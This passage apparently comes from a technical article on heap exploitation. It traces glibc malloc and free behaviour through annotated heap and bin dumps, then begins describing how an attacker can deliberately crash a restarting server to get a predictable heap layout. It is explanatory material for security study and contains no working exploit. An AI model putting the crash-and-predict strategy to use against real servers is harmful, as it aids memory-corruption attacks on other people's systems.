0x8049598 0x0109 (A) chunk 0x80496a0 0x0089 (A) chunk 0x8049728 0x0081 (F) | 0x400180c0 | 0x400180c0 | (LC) chunk 0x80497a8 0x0108 (A) chunk 0x80498b0 0x0089 (A) chunk 0x8049938 0x0081 (F) | 0x40018048 | 0x40018048 | (LR) chunk 0x80499b8 0x0108 (A) chunk 0x8049ac0 0x0541 (T) sbrk_end 0x804a000 $25 = void --- BIN DUMP --- arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x0540 bin 1 @ 0x40018048 free_chunk @ 0x8049938 - size 0x0080 bin 16 @ 0x400180c0 free_chunk @ 0x8049728 - size 0x0080 --- HEAP LAYOUT --- |A||A||16||A||A||L||A||T| As the last_remainder size is not enough for the requested allocation, the last remainder is cleared and inserted as a new free chunk into the corresponding bin. Then, the other free chunk is taken from its bin and split as in the previous step. 13 dipsi = malloc(1500); [1679] MALLOC(1500) - CHUNK_ALLOC(0x40018040,1504) clearing last_remainder frontlink(0x8049938,128,16,0x400180c0,0x8049728) last_remainder extended top chunk: previous size 0x540 new top 0x804a0a0 size 0xf61 returning 0x8049ac0 from top chunk --- HEAP DUMP --- ADDRESS SIZE FD BK sbrk_base 0x8049598 chunk 0x8049598 0x0109 (A) chunk 0x80496a0 0x0089 (A) chunk 0x8049728 0x0081 (F) | 0x400180c0 | 0x08049938 | chunk 0x80497a8 0x0108 (A) chunk 0x80498b0 0x0089 (A) chunk 0x8049938 0x0081 (F) | 0x08049728 | 0x400180c0 | chunk 0x80499b8 0x0108 (A) chunk 0x8049ac0 0x05e1 (A) chunk 0x804a0a0 0x0f61 (T) sbrk_end 0x804b000 --- BIN DUMP --- arena @ 0x40018040 - top @ 0x804a0a0 - top size = 0x0f60 bin 16 @ 0x400180c0 free_chunk @ 0x8049728 - size 0x0080 free_chunk @ 0x8049938 - size 0x0080 --- HEAP LAYOUT --- |A||A||16||A||A||16||A||A||T| As no available free chunk is enough for the requested allocation size, the top chunk was extended again. 14 free(dipsi); [1679] FREE(0x8049ac8) - CHUNK_FREE(0x40018040,0x8049ac0) merging with top new top 0x8049ac0 --- HEAP DUMP --- ADDRESS SIZE FD BK sbrk_base 0x8049598 chunk 0x8049598 0x0109 (A) chunk 0x80496a0 0x0089 (A) chunk 0x8049728 0x0081 (F) | 0x400180c0 | 0x08049938 | chunk 0x80497a8 0x0108 (A) chunk 0x80498b0 0x0089 (A) chunk 0x8049938 0x0081 (F) | 0x 8049728 | 0x400180c0 | chunk 0x80499b8 0x0108 (A) chunk 0x8049ac0 0x1541 (T) sbrk_end 0x804b000 --- BIN DUMP --- arena @ 0x40018040 - top @ 0x8049ac0 - top size = 0x1540 bin 16 @ 0x400180c0 free_chunk @ 0x8049728 - size 0x0080 free_chunk @ 0x8049938 - size 0x0080 --- HEAP LAYOUT --- |A||A||16||A||A||16||A||T| The chunk next to the top chunk is freed, so it gets coalesced with it, and it is not inserted in any bin. 15 free(lala); [1679] FREE(0x80499c0) - CHUNK_FREE(0x40018040,0x80499b8) unlink(0x8049938,0x400180c0,0x8049728) for back consolidation merging with top new top 0x8049938 --- HEAP DUMP --- ADDRESS SIZE FD BK sbrk_base 0x8049598 chunk 0x8049598 0x0109 (A) chunk 0x80496a0 0x0089 (A) chunk 0x8049728 0x0081 (F) | 0x400180c0 | 0x400180c0 | (LC) chunk 0x80497a8 0x0108 (A) chunk 0x80498b0 0x0089 (A) chunk 0x8049938 0x16c9 (T) sbrk_end 0x804b000 --- BIN DUMP --- arena @ 0x40018040 - top @ 0x8049938 - top size = 0x16c8 bin 16 @ 0x400180c0 free_chunk @ 0x8049728 - size 0x0080 --- HEAP LAYOUT --- |A||A||16||A||A||T| Again, but this time also the chunk before the freed chunk is coalesced, as it was already free. --------------------------------------------------------------------------- --] 4.3 - Layout reset - initial layout prediction - server model In this section, we analyse how different scenarios may impact on the exploitation process. In case of servers that get restarted, it may be useful to cause a 'heap reset', which means crashing the process on purpose in order to obtain a clean and known initial heap layout. The new heap that gets built together with the new restarted process is in its 'initial layout'. This refers to the initial state of the heap after the process initialization, before receiving any input from the user. The initial layout can be easily predicted and used as a the known starting point for the heap layout evolution prediction, instead of using a not virgin layout result of several modifications performed while serving client requests. This initial layout may not vary much a